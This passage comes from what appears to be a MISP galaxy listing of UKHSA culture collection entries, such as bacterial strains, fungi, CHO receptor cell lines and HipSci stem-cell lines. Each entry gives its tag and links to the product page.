https://www.culturecollections.org.uk/nop/product/clostridium-perfringens-78
https://www.culturecollections.org.uk/nop/product/clostridium-perfringens-76
https://www.culturecollections.org.uk/nop/product/clostridium-perfringens-74
https://www.culturecollections.org.uk/nop/product/clostridium-perfringens-73
https://www.culturecollections.org.uk/nop/product/clostridium-perfringens-72
https://www.culturecollections.org.uk/nop/product/clostridium-perfringens-71
https://www.culturecollections.org.uk/nop/product/clostridium-perfringens-65
https://www.culturecollections.org.uk/nop/product/clostridium-perfringens-59
https://www.culturecollections.org.uk/nop/product/clostridium-perfringens-57
https://www.culturecollections.org.uk/nop/product/clostridium-perfringens-55
https://www.culturecollections.org.uk/nop/product/clostridium-perfringens-54
https://www.culturecollections.org.uk/nop/product/clostridium-perfringens-50
https://www.culturecollections.org.uk/nop/product/clostridium-perfringens-46
https://www.culturecollections.org.uk/nop/product/clostridium-perfringens-41
https://www.culturecollections.org.uk/nop/product/clostridium-perfringens-45
https://www.culturecollections.org.uk/nop/product/clostridium-perfringens-44
https://www.culturecollections.org.uk/nop/product/clostridium-perfringens-24
https://www.culturecollections.org.uk/nop/product/clostridium-perfringens-13
https://www.culturecollections.org.uk/nop/product/clostridium-perfringens-11
https://www.culturecollections.org.uk/nop/product/clostridium-perfringens-6
https://www.culturecollections.org.uk/nop/product/clostridium-perfringens-26
https://www.culturecollections.org.uk/nop/product/clostridium-perfringens-30
https://www.culturecollections.org.uk/nop/product/clostridium-perfringens-53
https://www.culturecollections.org.uk/nop/product/clostridium-perfringens-14

Klebsiella variicola

The tag is: *misp-galaxy:ukhsa-culture-collections="Klebsiella variicola"*

Table 26030. Table References

Links
https://www.culturecollections.org.uk/nop/product/klebsiella-variicola
https://www.culturecollections.org.uk/nop/product/klebsiella-variicola-3
https://www.culturecollections.org.uk/nop/product/klebsiella-variicola-2

Streptococcus lactarius

The tag is: *misp-galaxy:ukhsa-culture-collections="Streptococcus lactarius"*

Table 26031. Table References

Links
https://www.culturecollections.org.uk/nop/product/streptococcus-lactarius

HPSI0414i-reng_4

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0414i-reng_4"*

Table 26032. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0414i-reng_4

HPSI0214i-feec_3

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0214i-feec_3"*

Table 26033. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0214i-feec_3

CHO-NPY1R

The tag is: *misp-galaxy:ukhsa-culture-collections="CHO-NPY1R"*

Table 26034. Table References

Links
https://www.culturecollections.org.uk/nop/product/cho-npy1r

CHO-CNR1

The tag is: *misp-galaxy:ukhsa-culture-collections="CHO-CNR1"*

Table 26035. Table References

Links
https://www.culturecollections.org.uk/nop/product/cho-cnr1

Staphylococcus nepalensis

The tag is: *misp-galaxy:ukhsa-culture-collections="Staphylococcus nepalensis"*

Table 26036. Table References

Links
https://www.culturecollections.org.uk/nop/product/staphylococcus-nepalensis-2
https://www.culturecollections.org.uk/nop/product/staphylococcus-nepalensis

OX-133

The tag is: *misp-galaxy:ukhsa-culture-collections="OX-133"*

Table 26037. Table References

Links
https://www.culturecollections.org.uk/nop/product/ox-133

OX-90

The tag is: *misp-galaxy:ukhsa-culture-collections="OX-90"*

Table 26038. Table References

Links
https://www.culturecollections.org.uk/nop/product/ox-90

OX-89

The tag is: *misp-galaxy:ukhsa-culture-collections="OX-89"*

Table 26039. Table References

Links
https://www.culturecollections.org.uk/nop/product/ox-89

N14A

The tag is: *misp-galaxy:ukhsa-culture-collections="N14A"*

Table 26040. Table References

Links
https://www.culturecollections.org.uk/nop/product/n14a

N15A

The tag is: *misp-galaxy:ukhsa-culture-collections="N15A"*

Table 26041. Table References

Links
https://www.culturecollections.org.uk/nop/product/n15a

DMS 92

The tag is: *misp-galaxy:ukhsa-culture-collections="DMS 92"*

Table 26042. Table References

Links
https://www.culturecollections.org.uk/nop/product/dms-92

COR-L47

The tag is: *misp-galaxy:ukhsa-culture-collections="COR-L47"*

Table 26043. Table References

Links
https://www.culturecollections.org.uk/nop/product/cor-l47

MCF7/S9

The tag is: *misp-galaxy:ukhsa-culture-collections="MCF7/S9"*

Table 26044. Table References

Links
https://www.culturecollections.org.uk/nop/product/mcf7s9

MCF7/182R-1

The tag is: *misp-galaxy:ukhsa-culture-collections="MCF7/182R-1"*

Table 26045. Table References

Links
https://www.culturecollections.org.uk/nop/product/mcf7182r-1

MCF7/182R-7

The tag is: *misp-galaxy:ukhsa-culture-collections="MCF7/182R-7"*

Table 26046. Table References

Links
https://www.culturecollections.org.uk/nop/product/mcf7182r-7

FRTL-5

The tag is: *misp-galaxy:ukhsa-culture-collections="FRTL-5"*

Table 26047. Table References

Links
https://www.culturecollections.org.uk/nop/product/frtl-5

HEp-2 (HeLa derivative)

The tag is: *misp-galaxy:ukhsa-culture-collections="HEp-2 (HeLa derivative)"*

Table 26048. Table References

Links
https://www.culturecollections.org.uk/nop/product/hep-2-hela-derivative

HEp-2 (Clone 2B) (HeLa derivative)

The tag is: *misp-galaxy:ukhsa-culture-collections="HEp-2 (Clone 2B) (HeLa derivative)"*

Table 26049. Table References

Links
https://www.culturecollections.org.uk/nop/product/hep-2-clone-2b-hela-derivative

CHO-OPRL1

The tag is: *misp-galaxy:ukhsa-culture-collections="CHO-OPRL1"*

Table 26050. Table References

Links
https://www.culturecollections.org.uk/nop/product/cho-oprl1

Microsporum canis

The tag is: *misp-galaxy:ukhsa-culture-collections="Microsporum canis"*

Table 26051. Table References

Links
https://www.culturecollections.org.uk/nop/product/microsporum-canis
https://www.culturecollections.org.uk/nop/product/microsporum-canis-47
https://www.culturecollections.org.uk/nop/product/microsporum-canis-42
https://www.culturecollections.org.uk/nop/product/microsporum-canis-38
https://www.culturecollections.org.uk/nop/product/microsporum-canis-33
https://www.culturecollections.org.uk/nop/product/microsporum-canis-32
https://www.culturecollections.org.uk/nop/product/microsporum-canis-31
https://www.culturecollections.org.uk/nop/product/microsporum-canis-30
https://www.culturecollections.org.uk/nop/product/microsporum-canis-28
https://www.culturecollections.org.uk/nop/product/microsporum-canis-27
https://www.culturecollections.org.uk/nop/product/microsporum-canis-21
https://www.culturecollections.org.uk/nop/product/microsporum-canis-20
https://www.culturecollections.org.uk/nop/product/microsporum-canis-17
https://www.culturecollections.org.uk/nop/product/microsporum-canis-14
https://www.culturecollections.org.uk/nop/product/microsporum-canis-13
https://www.culturecollections.org.uk/nop/product/microsporum-canis-12
https://www.culturecollections.org.uk/nop/product/microsporum-canis-7
https://www.culturecollections.org.uk/nop/product/microsporum-canis-6
https://www.culturecollections.org.uk/nop/product/microsporum-canis-4
https://www.culturecollections.org.uk/nop/product/microsporum-canis-2

Salmonella enterica subsp. enterica serotype Senftenberg

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Senftenberg"*

Table 26052. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-senftenberg-12
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-senftenberg-7
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-senftenberg-9
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-senftenberg-11
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-senftenberg-10
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-senftenberg-8
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-senftenberg-6
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-senftenberg-5
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-senftenberg-4
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-senftenberg-3
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-senftenberg-2
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-senftenberg

HipSci feeder-dependent panel

The tag is: *misp-galaxy:ukhsa-culture-collections="HipSci feeder-dependent panel"*

Table 26053. Table References

Links
https://www.culturecollections.org.uk/nop/product/hipsci-feeder-dependent-panel

HipSci feeder free panel

The tag is: *misp-galaxy:ukhsa-culture-collections="HipSci feeder free panel"*

Table 26054. Table References

Links
https://www.culturecollections.org.uk/nop/product/hipsci-feeder-free-panel

CHO-CHRM5

The tag is: *misp-galaxy:ukhsa-culture-collections="CHO-CHRM5"*

Table 26055. Table References

Links
https://www.culturecollections.org.uk/nop/product/cho-chrm5

CHO-SSTR1

The tag is: *misp-galaxy:ukhsa-culture-collections="CHO-SSTR1"*

Table 26056. Table References

Links
https://www.culturecollections.org.uk/nop/product/cho-sstr1

CHO-GPR120

The tag is: *misp-galaxy:ukhsa-culture-collections="CHO-GPR120"*

Table 26057. Table References

Links
https://www.culturecollections.org.uk/nop/product/cho-gpr120

CHO-CHRM2

The tag is: *misp-galaxy:ukhsa-culture-collections="CHO-CHRM2"*

Table 26058. Table References

Links
https://www.culturecollections.org.uk/nop/product/cho-chrm2

CHO-CHRM1

The tag is: *misp-galaxy:ukhsa-culture-collections="CHO-CHRM1"*

Table 26059. Table References

Links
https://www.culturecollections.org.uk/nop/product/cho-chrm1

CHO-FFAR2

The tag is: *misp-galaxy:ukhsa-culture-collections="CHO-FFAR2"*

Table 26060. Table References

Links
https://www.culturecollections.org.uk/nop/product/cho-ffar2

T02J-10/10

The tag is: *misp-galaxy:ukhsa-culture-collections="T02J-10/10"*

Table 26061. Table References

Links
https://www.culturecollections.org.uk/nop/product/t02j-1010

T02J-9/10

The tag is: *misp-galaxy:ukhsa-culture-collections="T02J-9/10"*

Table 26062. Table References

Links
https://www.culturecollections.org.uk/nop/product/t02j-910

T02J-7/10

The tag is: *misp-galaxy:ukhsa-culture-collections="T02J-7/10"*

Table 26063. Table References

Links
https://www.culturecollections.org.uk/nop/product/t02j-710

T35J-5/09

The tag is: *misp-galaxy:ukhsa-culture-collections="T35J-5/09"*

Table 26064. Table References

Links
https://www.culturecollections.org.uk/nop/product/t35j-509

T26J-1/09

The tag is: *misp-galaxy:ukhsa-culture-collections="T26J-1/09"*

Table 26065. Table References

Links
https://www.culturecollections.org.uk/nop/product/t26j-109

HPSI0616i-gayk_3

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0616i-gayk_3"*

Table 26066. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0616i-gayk_3

HPSI0616i-giql_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0616i-giql_1"*

Table 26067. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0616i-giql_1

HPSI0516i-oadp_5

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0516i-oadp_5"*

Table 26068. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0516i-oadp_5

HPSI0416i-mefc_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0416i-mefc_1"*

Table 26069. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0416i-mefc_1

HPSI0115i-rehy_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0115i-rehy_2"*

Table 26070. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0115i-rehy_2

HPSI0616i-biln_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0616i-biln_1"*

Table 26071. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0616i-biln_1

HPSI1014i-xejd_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI1014i-xejd_1"*

Table 26072. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi1014i-xejd_1

HPSI1116i-uabf_6

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI1116i-uabf_6"*

Table 26073. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi1116i-uabf_6

HPSI0816i-kije_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0816i-kije_1"*

Table 26074. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0816i-kije_1

HPSI1116i-geve_3

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI1116i-geve_3"*

Table 26075. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi1116i-geve_3

HPSI0816i-xoga_12

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0816i-xoga_12"*

Table 26076. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0816i-xoga_12

HPSI0616i-bury_6

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0616i-bury_6"*

Table 26077. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0616i-bury_6

HPSI0613i-xavk_33

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0613i-xavk_33"*

Table 26078. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0613i-xavk_33

HPSI0115i-payf_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0115i-payf_2"*

Table 26079. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0115i-payf_2

HPSI0616i-vaqx_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0616i-vaqx_2"*

Table 26080. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0616i-vaqx_2

HPSI1116i-sozw_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI1116i-sozw_2"*

Table 26081. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi1116i-sozw_2

HPSI0516i-aaun_5

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0516i-aaun_5"*

Table 26082. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0516i-aaun_5

HPSI0816i-keha_5

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0816i-keha_5"*

Table 26083. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0816i-keha_5

HPSI0716i-bakv_4

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0716i-bakv_4"*

Table 26084. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0716i-bakv_4

HPSI0816i-keit_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0816i-keit_2"*

Table 26085. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0816i-keit_2

HPSI0816i-daah_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0816i-daah_1"*

Table 26086. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0816i-daah_1

HPSI0115i-quze_6

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0115i-quze_6"*

Table 26087. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0115i-quze_6

HPSI0816i-xoga_7

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0816i-xoga_7"*

Table 26088. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0816i-xoga_7

HPSI1016i-riwg_8

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI1016i-riwg_8"*

Table 26089. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi1016i-riwg_8

HPSI0516i-vebd_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0516i-vebd_2"*

Table 26090. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0516i-vebd_2

HPSI0215i-romx_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0215i-romx_2"*

Table 26091. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0215i-romx_2

HPSI1116i-geve_4

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI1116i-geve_4"*

Table 26092. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi1116i-geve_4

HPSI0614i-laig_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0614i-laig_2"*

Table 26093. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0614i-laig_2

HPSI1116i-yiek_6

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI1116i-yiek_6"*

Table 26094. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi1116i-yiek_6

HPSI0414i-niim_5

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0414i-niim_5"*

Table 26095. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0414i-niim_5

HPSI0816i-uixy_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0816i-uixy_2"*

Table 26096. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0816i-uixy_2

HPSI1116i-zehh_3

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI1116i-zehh_3"*

Table 26097. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi1116i-zehh_3

HPSI1116i-uacs_3

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI1116i-uacs_3"*

Table 26098. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi1116i-uacs_3

HPSI0816i-oexh_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0816i-oexh_2"*

Table 26099. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0816i-oexh_2

HPSI0314i-uict_3

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0314i-uict_3"*

Table 26100. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0314i-uict_3

HPSI0816i-uosa_6

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0816i-uosa_6"*

Table 26101. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0816i-uosa_6

HPSI0816i-youd_8

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0816i-youd_8"*

Table 26102. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0816i-youd_8

HPSI0516i-quqp_4

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0516i-quqp_4"*

Table 26103. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0516i-quqp_4

HPSI0914i-suop_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0914i-suop_2"*

Table 26104. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0914i-suop_2

HPSI0816i-kije_4

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0816i-kije_4"*

Table 26105. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0816i-kije_4

HPSI0816i-uixy_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0816i-uixy_1"*

Table 26106. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0816i-uixy_1

HPSI0514i-naah_4

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0514i-naah_4"*

Table 26107. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0514i-naah_4

HPSI0514i-xufp_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0514i-xufp_2"*

Table 26108. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0514i-xufp_2

HPSI0616i-vaqr_4

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0616i-vaqr_4"*

Table 26109. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0616i-vaqr_4

HPSI1116i-zehh_4

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI1116i-zehh_4"*

Table 26110. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi1116i-zehh_4

HPSI0516i-raet_4

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0516i-raet_4"*

Table 26111. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0516i-raet_4

HPSI1116i-yiek_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI1116i-yiek_2"*

Table 26112. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi1116i-yiek_2

HPSI0516i-suyj_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0516i-suyj_1"*

Table 26113. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0516i-suyj_1

HPSI1016i-eoxu_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI1016i-eoxu_2"*

Table 26114. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi1016i-eoxu_2

HPSI1016i-riwg_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI1016i-riwg_2"*

Table 26115. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi1016i-riwg_2

HPSI1016i-livl_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI1016i-livl_2"*

Table 26116. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi1016i-livl_2

HPSI0816i-oexh_5

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0816i-oexh_5"*

Table 26117. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0816i-oexh_5

HPSI0516i-suyj_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0516i-suyj_2"*

Table 26118. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0516i-suyj_2

HPSI1116i-zalc_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI1116i-zalc_1"*

Table 26119. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi1116i-zalc_1

HPSI1114i-yair_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI1114i-yair_2"*

Table 26120. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi1114i-yair_2

HPSI0916i-zaue_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0916i-zaue_2"*

Table 26121. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0916i-zaue_2

HPSI0514i-aomr_6

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0514i-aomr_6"*

Table 26122. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0514i-aomr_6

HPSI0115i-qecv_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0115i-qecv_2"*

Table 26123. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0115i-qecv_2

HPSI1016i-eoxu_6

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI1016i-eoxu_6"*

Table 26124. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi1016i-eoxu_6

HPSI0816i-keha_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0816i-keha_2"*

Table 26125. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0816i-keha_2

HPSI0516i-vebd_4

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0516i-vebd_4"*

Table 26126. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0516i-vebd_4

HPSI0616i-aauq_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0616i-aauq_2"*

Table 26127. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0616i-aauq_2

HPSI0115i-pitg_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0115i-pitg_2"*

Table 26128. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0115i-pitg_2

HPSI0614i-denw_6

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0614i-denw_6"*

Table 26129. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0614i-denw_6

HPSI0115i-rakz_6

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0115i-rakz_6"*

Table 26130. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0115i-rakz_6

HPSI1113i-ieki_3

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI1113i-ieki_3"*

Table 26131. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi1113i-ieki_3

HPSI1016i-livl_5

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI1016i-livl_5"*

Table 26132. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi1016i-livl_5

HPSI0416i-iazw_4

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0416i-iazw_4"*

Table 26133. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0416i-iazw_4

HPSI1114i-ualf_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI1114i-ualf_2"*

Table 26134. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi1114i-ualf_2

HPSI0715i-zaie_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0715i-zaie_1"*

Table 26135. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0715i-zaie_1

HPSI0816i-youd_6

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0816i-youd_6"*

Table 26136. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0816i-youd_6

HPSI0314i-uict_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0314i-uict_1"*

Table 26137. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0314i-uict_1

HPSI0316i-vats_4

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0316i-vats_4"*

Table 26138. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0316i-vats_4

HPSI0613i-lizq_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0613i-lizq_1"*

Table 26139. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0613i-lizq_1

HPSI0516i-raet_6

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0516i-raet_6"*

Table 26140. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0516i-raet_6

HPSI0316i-beqm_9

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0316i-beqm_9"*

Table 26141. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0316i-beqm_9

HPSI0115i-womt_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0115i-womt_1"*

Table 26142. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0115i-womt_1

HPSI0516i-quqp_6

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0516i-quqp_6"*

Table 26143. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0516i-quqp_6

HPSI0616i-rurd_3

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0616i-rurd_3"*

Table 26144. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0616i-rurd_3

HPSI0616i-fayz_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0616i-fayz_2"*

Table 26145. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0616i-fayz_2

HPSI1116i-peru_4

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI1116i-peru_4"*

Table 26146. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi1116i-peru_4

HPSI0115i-qecv_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0115i-qecv_1"*

Table 26147. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0115i-qecv_1

HPSI0316i-beqm_12

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0316i-beqm_12"*

Table 26148. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0316i-beqm_12

HPSI0614i-eisk_6

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0614i-eisk_6"*

Table 26149. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0614i-eisk_6

HPSI0316i-circ_4

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0316i-circ_4"*

Table 26150. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0316i-circ_4

HPSI0516i-dewa_5

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0516i-dewa_5"*

Table 26151. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0516i-dewa_5

HPSI1116i-aimh_3

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI1116i-aimh_3"*

Table 26152. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi1116i-aimh_3

HPSI0616i-rily_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0616i-rily_1"*

Table 26153. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0616i-rily_1

HPSI0115i-hecn_3

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0115i-hecn_3"*

Table 26154. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0115i-hecn_3

HPSI0115i-bimq_4

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0115i-bimq_4"*

Table 26155. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0115i-bimq_4

HPSI0115i-jakt_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0115i-jakt_1"*

Table 26156. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0115i-jakt_1

HPSI0513i-pedc_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0513i-pedc_1"*

Table 26157. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0513i-pedc_1

HPSI0916i-hikt_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0916i-hikt_1"*

Table 26158. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0916i-hikt_1

HPSI1116i-rafd_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI1116i-rafd_1"*

Table 26159. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi1116i-rafd_1

HPSI0115i-iuad_3

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0115i-iuad_3"*

Table 26160. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0115i-iuad_3

HPSI0916i-helh_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0916i-helh_1"*

Table 26161. Table References

Links
